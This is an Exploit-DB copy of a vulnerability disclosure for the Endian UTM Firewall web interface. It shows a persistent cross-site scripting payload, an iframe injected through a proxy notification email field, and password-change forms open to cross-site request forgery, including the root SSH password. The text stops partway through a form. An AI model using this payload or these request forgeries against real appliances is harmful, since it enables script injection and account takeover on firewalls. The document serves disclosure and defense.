Exploit-DB #18556
Description: Endian UTM Firewall 2.4.x < 2.5.0 - Multiple Web Vulnerabilities
Type: webapps
Platform: php
Date: 2012-03-03
Author: Vulnerability-Lab

Exploit:
Title:
======
Endian UTM Firewall v2.4.x & v2.5.0 - Multiple Web Vulnerabilities


Date:
=====
2012-03-01


References:
===========
http://www.vulnerability-lab.com/get_content.php?id=228


VL-ID:
=====
228


Introduction:
=============
Einfach, schnell und zukunftssicher! Die ideale Lösung, um Ihre Filialen und industriellen Zweigstellen rund um den Globus zu schützen.
Endian 4i ist die ideale Lösung für Büroaußenstellen oder Industrieinstallationen. Die Firewall ist in den zwei Varianten „Office“ und
„Industrial“ erhältlich. Die Office-Version bietet alle Funktionen, um Netzwerke in der Firma und in Verbindung mit Außenstellen einfach
und sicher zu verlinken. Derselbe Funktionsumfang ist bei der Industrial-Version vorhanden, die sich speziell an den Industriebereich
richtet und 24V Support bietet sowie auf der Hutschiene installiert werden kann. Remote-Supporting, Remote-Konfiguration, Systemüberwachung
bis hin zur einfachen, sicheren Vernetzung von Außenstellen – die Kostenvorteile dabei liegen auf der Hand. Sichern auch Sie sich die
Konnektivität Ihres Unternehmens ab, und behalten Sie mit der Endian 4i stets die Nase vorn.

(Copy of the Vendor Homepage: http://www.endian.com/de/products/utm-hardware/4i/)


Abstract:
=========
Vulnerability-Lab Team discovered multiple Web Vulnerabilities on Endians UTM Firewall v2.5.0 Appliance.


Report-Timeline:
================
2011-09-16:     Vendor Notification
2011-09-20:     Vendor Response/Feedback
2012-00-00:     Vendor Fix/Patch
2012-03-01:     Public or Non-Public Disclosure


Status:
========
Published


Affected Products:
==================
Endian
Product: UTM Firewall Appliance Application v2.5.-x; 2.4-0 & 2.4.-x


Exploitation-Technique:
=======================
Remote


Severity:
=========
High


Details:
========
1.1
Multiple persistent input validation vulnerabilities are detected on Endians WAF UTM appliance application.
The vulnerability allows an attacker to manipulate specific application requests via persistent included script codes.


Vulnerable:             Input Validation Vulnerabilities (Server-Side|Persistent)

Vulnerable Module(s):
                                               [+] Proxy - HTTP Configuration Masks
                                               [+] Service - Intrusion Prevention
                                               [+] Netzwerk - Host Configuration
                                               [+] DHCP

Pictures:
                                               ../ive1.png


1.2
Multiple cross site request forgery vulnerabilities are detected on client-side of the edian waf appliance.
The vulnerability allows an attacker to force client-side module requests of application functions.

Vulnerable:             Cross Site Request Forgery Vulnerabilities (Client-Side|Non Persistent)

Vulnerable Module(s):
                                               [+] HotSpot - Add Password
                                               [+] System - Passwords

Picture(s):
                                               ../csrf1.png


Proof of Concept:
=================
The vulnerabilities can be exploited by remote attackers with high required user inter action or local low privileged user accounts.
For demonstration or reproduce ...

1.1
Example Code Review:    Input Validation Vulnerabilities (Persistent Inject)

Server:                 demo.endian.com/
Path:                   /cgi-bin/
File:                   proxyconfig.cgi

<div id="page-content-box">        <div id="notification-view" class="spinner" style="display:none"></div>
       <div id="module-content">
       <script type="text/javascript">
           $(document).ready(function() {
               /* Enable visualization of service notifications */
               display_notifications(["squid","dansguardian","havp","sarg"], {"startMessage": "Proxy settings are being
applied. Please hold...","updateContent": ".service-switch-form","type": "observe","endMessage": "Proxy settings have been
applied successfully.","interval": "500"});
           })
       </script>
   <div  class="error-fancy" style="width: 504px; ">
       <div class="content">
           <table cellpadding="0" cellspacing="0" border="0">
               <tr>

                   <td class="sign" valign="middle"><img src="/images/bubble_red_sign.png" alt="" border="0" /></td>
                   <td class="text" valign="middle">">"<iframe src=http://vulnerability-lab.com width=600 height=600>@aollamer.de"
at "Email used for notification (cache admin)" is not valid!(or?@rem0ve)<br /></td>
               </tr>
           </table>
       </div>


Reference(s):
                                               https://xx.xxxx.com/cgi-bin/proxyconfig.cgi
                                               https://xx.xxxx.com/cgi-bin/hosts.cgi
                                               https://xx.xxxx.com/cgi-bin/dhcp.cgi



1.2
Example Code Review:    Cross Site Request Forgery Vulnerabilities (Non-Persistent)

Server:                 demo.endian.com/
Path:                   /cgi-bin/
File:                   hotspot-changepw.cgi or  changepw.cgi

<form action="/cgi-bin/changepw.cgi" method="post">
           <div class="section first multi-column">
               <input type='hidden' name='ACTION_ROOT' value='save' />
               <div class="title"><h2 class="title">SSH Password (root)</h2></div>
               <div class="fields-row">
                   <span class="multi-field">
                       <label id="username_field" for="username">Password *</label>

                       <input type="password" name="ROOT_PASSWORD1" SIZE="5" /></span>

... or

<form enctype='multipart/form-data' method='post' action='/cgi-bin/hotspot-changepw.cgi'>
<input type='hidden' name='ACTION_HOTSPOT' value='save' />
<table width='100%'>

<tr>